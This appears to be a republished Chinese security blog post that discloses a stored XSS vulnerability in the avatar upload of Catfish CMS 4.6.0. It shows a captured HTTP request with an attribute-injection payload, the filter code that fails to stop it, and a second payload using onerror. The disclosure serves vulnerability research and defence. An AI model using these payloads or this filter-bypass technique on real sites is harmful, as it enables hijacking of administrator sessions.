专栏首页FreeBuf鲶鱼CMS存储XSS漏洞披露

鲶鱼CMS存储XSS漏洞披露

概述

Catfish(鲶鱼) CMS是一款开源的PHP内容管理系统。这个cms是十月我和学长小胡子一起审计的。所以在这里声明下,洞是他找的,他不善言辞,授权给我来写文章。漏洞已提交给厂商,同意公开此漏洞。

XSS漏洞点

这里的版本是V4.6.0。出问题的地方是头像上传这个地方,这个cms以前爆过一枚任意文件删除漏洞也是这里。

  1. 先注册一个普通用户
  2. 登录,上传一张头像。
  3. 上传成功后开启抓包,点击“头像保存”。

抓到数据如下

修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html
Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80
Connection: close
Upgrade-Insecure-Requests: 1

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D=

回显

管理员后台浏览普通用户管理

成功x到后台!

相关代码跟进

CatfishCMS-4.6.0/application/admin/controller/Index.php页面代码,96行

这个函数对传入的avatar参数进行检验,继续跟进

位于CatfishCMS-4.6.0/application/admin/controller/Common.php页面,313行

 protected function isLegalPicture($picture)
    {
        if(stripos($picture,'>') === false)
        {
            $pathinfo = pathinfo($picture);
            if(isset($pathinfo['extension']))
            {
                if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false)
                {
                    return true;
                }
            }
        }
        return false;
    }

三个限制:

  1. 参数不能含有 “>”
  2. 要以jpeg,jpg,png,gif 结尾
  3. 要含有 “/data/“ 路径

观察原来输出点,是以双引号进行闭合,触发事件可以onload或者onerror或者其他,以.jpg结尾。所以我们payload为:

avatar=[http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png](http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png)" onerror="alert(2)" a="1.jpg

一点感悟

最近看到大佬们在微博说的几句: 如果某个地方爆出了洞,就可以往这个地方深挖。因为最后讲道理程序会出问题不仅仅是代码的问题,而是人的问题。

本文分享自微信公众号 - FreeBuf(freebuf),作者:Deen

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • WiFi-Passview:一款基于Batch脚本的开源WiFi密码查看器

    WiFi Passview是一款基于Batch脚本实现的开源程序,它可以帮助我们在几秒钟之内轻松恢复WiFi密码。目前,该工具仅支持Windows操作系统。本质...

    FB客服
  • Joomla!3.7.0 SQL注入攻击漏洞分析

    Joomla是一套世界第二流行的内容管理系统。它使用的是PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不...

    FB客服
  • Nginx内存内容泄漏:问题复现与修复方案解析

    最近HackerOne公布了Nginx内存内容泄漏的问题,如果说内存内容泄漏的问题是个Bug的话,那这个Bug是个比较典型的程序没有对输入异常数据做适当的过滤处...

    FB客服
  • GOAI发布用于 GPU分析的Python 数据框架

    一支由数据分析供应商组成的团体今天在GPU技术大会上共同提出了GPU开源分析倡议(GOAI),旨在培育以GPU来进行数据科学和深度学习方面工作的社群。该团体...

    GPUS Lady
  • 盘点企业云计算失败的7大原因

    根据调查机构Gartner公司的研究,到2020年仍然采取“无云”政策的企业将会像目前没有采用互联网的企业那样罕见。而调研机构IDG公司估计,目前有70%的企业...

    BestSDK
  • CTF---密码学入门第七题 杯酒人生

    杯酒人生分值:10 来源: Veneno 难度:易 参与人数:2633人 Get Flag:790人 答题人数:963人 解题通过率:82% 使用古典密码 ...

    Angel_Kitty
  • 【玩转腾讯云】SCF中php的一些入门坑

    由于SCF本身是用bootstrap.php来调用我们的入口函数,默认为index.main_handler,意思是调用index.php文件中的main_ha...

    逸笙1
  • 合并没有共同特征的数据集

    合并数据集,是数据科学中常见的操作。对于有共同标识符的两个数据集,可以使用Pandas中提供的常规方法合并,但是,如果两个数据集没有共同的唯一标识符,怎么合并?...

    老齐
  • Chrome 83 发布,支持直接读写本地文件!新的跨域策略!

    受新冠疫情影响,Chrome 稳定版本的更新直接跳过 v82 来到 Chrome 83,因此很多原本在 Chrome 82上就要正式发布的功能也悉数积攒到了本次...

    ConardLi
  • 6种机器学习算法要点

    本文旨在为人们提供一些机器学习算法,这些算法的目标是获取关于重要机器学习概念的知识,同时使用免费提供的材料和资源。当然选择有很多,但哪一个是最好的?哪两个互相补...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券